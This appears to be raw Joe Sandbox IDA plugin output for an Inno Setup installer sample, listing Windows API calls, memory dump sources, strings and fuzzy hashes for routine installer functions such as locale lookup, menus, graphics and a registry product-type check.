                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ClassInfoLongMessageSendWindow
                                                                                                                                                                                                                                      • String ID: COMBOBOX$Inno Setup: Language
                                                                                                                                                                                                                                      • API String ID: 3391662889-4234151509
                                                                                                                                                                                                                                      • Opcode ID: 7b097581a500be05759954e33284123b2b89370f46c26a428eff7c4db0c5a69c
                                                                                                                                                                                                                                      • Instruction ID: bb27e68bfa0a4e6e36c1c9b1f46c00cfa2f47713d75b81585866a7fa3ef15c14
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7b097581a500be05759954e33284123b2b89370f46c26a428eff7c4db0c5a69c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C0813F746006059FC710EF69D885AEAB7F2FB09304F16C1BAE848E7362D738AD45CB59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemDefaultLCID.KERNEL32(00000000,00408968,?,?,?,?,00000000,00000000,00000000,?,0040996F,00000000,00409982), ref: 0040873A
                                                                                                                                                                                                                                        • Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586
                                                                                                                                                                                                                                        • Part of subcall function 004085B4: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004087B6,?,?,?,00000000,00408968), ref: 004085C7
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: InfoLocale$DefaultSystem
                                                                                                                                                                                                                                      • String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
                                                                                                                                                                                                                                      • API String ID: 1044490935-665933166
                                                                                                                                                                                                                                      • Opcode ID: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
                                                                                                                                                                                                                                      • Instruction ID: 5c6fde8006682913ecab3173e7335377554a92ac61a87523d81808753b4ec1a9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7D516C24B00108ABDB01FBA69E4169EB7A9DB94308F50C07FA181BB3C3CE3DDA05975D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetVersion.KERNEL32(00000000,004118F9), ref: 0041178C
                                                                                                                                                                                                                                      • InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 0041184A
                                                                                                                                                                                                                                        • Part of subcall function 00411AAC: CreatePopupMenu.USER32 ref: 00411AC6
                                                                                                                                                                                                                                      • InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 004118D6
                                                                                                                                                                                                                                        • Part of subcall function 00411AAC: CreateMenu.USER32 ref: 00411AD0
                                                                                                                                                                                                                                      • InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 004118BD
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Menu$Insert$Create$ItemPopupVersion
                                                                                                                                                                                                                                      • String ID: ,$?
                                                                                                                                                                                                                                      • API String ID: 2359071979-2308483597
                                                                                                                                                                                                                                      • Opcode ID: b9a2b6ccc88d9caa62c3975205c07352f987ccdbf84bf9e0cd5a88eec52abf91
                                                                                                                                                                                                                                      • Instruction ID: ecf66c9774bccec907b621c371347452b74b7622051e058d8a4a73451c3e974f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b9a2b6ccc88d9caa62c3975205c07352f987ccdbf84bf9e0cd5a88eec52abf91
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D7510674A00245ABDB10EF6ADC816EA7BF9AF09304B11857BF904E73A6D738DD41CB58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetObjectA.GDI32(?,00000018,?), ref: 0041BF28
                                                                                                                                                                                                                                      • GetObjectA.GDI32(?,00000018,?), ref: 0041BF37
                                                                                                                                                                                                                                      • GetBitmapBits.GDI32(?,?,?), ref: 0041BF88
                                                                                                                                                                                                                                      • GetBitmapBits.GDI32(?,?,?), ref: 0041BF96
                                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0041BF9F
                                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0041BFA8
                                                                                                                                                                                                                                      • CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BFC5
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Object$BitmapBitsDelete$CreateIcon
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1030595962-0
                                                                                                                                                                                                                                      • Opcode ID: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
                                                                                                                                                                                                                                      • Instruction ID: 74cae3b7aa7aab4ce12a2fbd062d204c5c4082198076ec6df892ad84fd278e80
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6A510671A002199FCB10DFA9C9819EEB7F9EF48314B11416AF914E7395D738AD41CB68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CEFE
                                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,00000026), ref: 0041CF1D
                                                                                                                                                                                                                                      • SelectPalette.GDI32(?,?,00000001), ref: 0041CF83
                                                                                                                                                                                                                                      • RealizePalette.GDI32(?), ref: 0041CF92
                                                                                                                                                                                                                                      • StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CFFC
                                                                                                                                                                                                                                      • StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D03A
                                                                                                                                                                                                                                      • SelectPalette.GDI32(?,?,00000001), ref: 0041D05F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: PaletteStretch$Select$BitsCapsDeviceModeRealize
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2222416421-0
                                                                                                                                                                                                                                      • Opcode ID: c6a16a19dcf28552bada6898b81586dc49cb1edacb7efb66bca37046f5d7e7da
                                                                                                                                                                                                                                      • Instruction ID: 4b814cf558339e083a7fb5ccd56fb4ffad9fd0a27a4bfdacf16c2dd2476febac
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c6a16a19dcf28552bada6898b81586dc49cb1edacb7efb66bca37046f5d7e7da
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D2515EB0604200AFDB14DFA8C985F9BBBE9EF08304F10459AB549DB292C778ED81CB58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,?,?), ref: 0045717A
                                                                                                                                                                                                                                        • Part of subcall function 0042427C: GetWindowTextA.USER32(?,?,00000100), ref: 0042429C
                                                                                                                                                                                                                                        • Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
                                                                                                                                                                                                                                        • Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9
                                                                                                                                                                                                                                        • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                                                                                                                                                                      • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004571E1
                                                                                                                                                                                                                                      • TranslateMessage.USER32(?), ref: 004571FF
                                                                                                                                                                                                                                      • DispatchMessageA.USER32(?), ref: 00457208
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message$TextThreadWindow$CurrentDispatchEnumSendTranslateWindows
                                                                                                                                                                                                                                      • String ID: [Paused]
                                                                                                                                                                                                                                      • API String ID: 1007367021-4230553315
                                                                                                                                                                                                                                      • Opcode ID: fd37f0685e9949bc630816f418b91ae10989fde9f4c26f7dfdebc9041f05c988
                                                                                                                                                                                                                                      • Instruction ID: 9c65c5789669556775cb04b7d8b700a3e8427f17a0623b42c67a15115a154b53
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fd37f0685e9949bc630816f418b91ae10989fde9f4c26f7dfdebc9041f05c988
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3A3196309082449EDB11DFB5EC81FDEBBB8EB49314F5580B7F800E7292D6389909CB69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCursor.USER32(00000000,0046B3D3), ref: 0046B350
                                                                                                                                                                                                                                      • LoadCursorA.USER32(00000000,00007F02), ref: 0046B35E
                                                                                                                                                                                                                                      • SetCursor.USER32(00000000,00000000,00007F02,00000000,0046B3D3), ref: 0046B364
                                                                                                                                                                                                                                      • Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046B3D3), ref: 0046B36E
                                                                                                                                                                                                                                      • SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046B3D3), ref: 0046B374
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Cursor$LoadSleep
                                                                                                                                                                                                                                      • String ID: CheckPassword
                                                                                                                                                                                                                                      • API String ID: 4023313301-1302249611
                                                                                                                                                                                                                                      • Opcode ID: 9ec6fbb627a2037d8b10d3b03f13e16da416f17f6db7f06dbaba65bff406c05b
                                                                                                                                                                                                                                      • Instruction ID: 12e539274ef1f9e2a04eba0c68275a436143f563f239c7c10787bf1112b5c925
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9ec6fbb627a2037d8b10d3b03f13e16da416f17f6db7f06dbaba65bff406c05b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 883140347402449FD711DB69C899B9A7BE4EB05304F5580B6BC44DB392D7789E80CB99
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 0045968F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Fusion.dll, xrefs: 0045962F
                                                                                                                                                                                                                                      • Failed to load .NET Framework DLL "%s", xrefs: 00459674
                                                                                                                                                                                                                                      • CreateAssemblyCache, xrefs: 00459686
                                                                                                                                                                                                                                      • .NET Framework CreateAssemblyCache function failed, xrefs: 004596B2
                                                                                                                                                                                                                                      • Failed to get address of .NET Framework CreateAssemblyCache function, xrefs: 0045969A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc
                                                                                                                                                                                                                                      • String ID: .NET Framework CreateAssemblyCache function failed$CreateAssemblyCache$Failed to get address of .NET Framework CreateAssemblyCache function$Failed to load .NET Framework DLL "%s"$Fusion.dll
                                                                                                                                                                                                                                      • API String ID: 190572456-3990135632
                                                                                                                                                                                                                                      • Opcode ID: c76a925808990de0a4edfa3a9bd9e2f18b95e6c6c4d3f27ecf656a26428a2687
                                                                                                                                                                                                                                      • Instruction ID: 16de9e68b372fd706bfdce8394bce33e03e331de8444419fbf47e642e04e3cf3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c76a925808990de0a4edfa3a9bd9e2f18b95e6c6c4d3f27ecf656a26428a2687
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E1318B71E10605EBCB01EFA9C88159EB7B4EF44315F50857BE814E7382DB389E08C799
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0041C048: GetObjectA.GDI32(?,00000018), ref: 0041C055
                                                                                                                                                                                                                                      • GetFocus.USER32 ref: 0041C168
                                                                                                                                                                                                                                      • GetDC.USER32(?), ref: 0041C174
                                                                                                                                                                                                                                      • SelectPalette.GDI32(?,?,00000000), ref: 0041C195
                                                                                                                                                                                                                                      • RealizePalette.GDI32(?), ref: 0041C1A1
                                                                                                                                                                                                                                      • GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C1B8
                                                                                                                                                                                                                                      • SelectPalette.GDI32(?,00000000,00000000), ref: 0041C1E0
                                                                                                                                                                                                                                      • ReleaseDC.USER32(?,?), ref: 0041C1ED
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Palette$Select$BitsFocusObjectRealizeRelease
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3303097818-0
                                                                                                                                                                                                                                      • Opcode ID: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
                                                                                                                                                                                                                                      • Instruction ID: 25a0b6576c779426e59073023ceed4ef49f3845c1b310514cd4f08ef327de147
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 49116D71A44604BFDF10DBE9CC81FAFB7FCEB48700F50486AB518E7281DA7899008B28
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(0000000E), ref: 00418C70
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(0000000D), ref: 00418C78
                                                                                                                                                                                                                                      • 6F532980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C7E
                                                                                                                                                                                                                                        • Part of subcall function 004107F8: 6F52C400.COMCTL32(0049B628,000000FF,00000000,00418CAC,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 004107FC
                                                                                                                                                                                                                                      • 6F59CB00.COMCTL32(0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418CCE
                                                                                                                                                                                                                                      • 6F59C740.COMCTL32(00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418CD9
                                                                                                                                                                                                                                      • 6F59CB00.COMCTL32(0049B628,00000001,?,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000), ref: 00418CEC
                                                                                                                                                                                                                                      • 6F530860.COMCTL32(0049B628,00418D0F,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E), ref: 00418D02
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MetricsSystem$C400C740F530860F532980
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 209721339-0
                                                                                                                                                                                                                                      • Opcode ID: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
                                                                                                                                                                                                                                      • Instruction ID: f48c8f8e6a400555c090207229051c9eae11b8a9b20c4da93df477ea8fa1a9e8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6B112475744204BBDB50EBA9EC82FAD73F8DB08704F504066B514EB2C1DAB9AD808759
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00483808), ref: 004837ED
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpen
                                                                                                                                                                                                                                      • String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
                                                                                                                                                                                                                                      • API String ID: 47109696-2530820420
                                                                                                                                                                                                                                      • Opcode ID: 6cffb51fcf675e5b5ff337e99a1a510b156e53e1e1d602fe7582bc6a3ac7d990
                                                                                                                                                                                                                                      • Instruction ID: c613687e0df8eb2305741995cd8b82d1e16d8def3fb188134640bd78fd3b844b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6cffb51fcf675e5b5ff337e99a1a510b156e53e1e1d602fe7582bc6a3ac7d990
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7711AFB0B00204AAD700FBA68C12A5EBAE8DB55B09F208877A800E7681E73CDB01875C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 00495089
                                                                                                                                                                                                                                        • Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 004950AB
                                                                                                                                                                                                                                      • GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00495629), ref: 004950BF
                                                                                                                                                                                                                                      • GetTextMetricsA.GDI32(00000000,?), ref: 004950E1
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 004950FE
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 004950B6
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
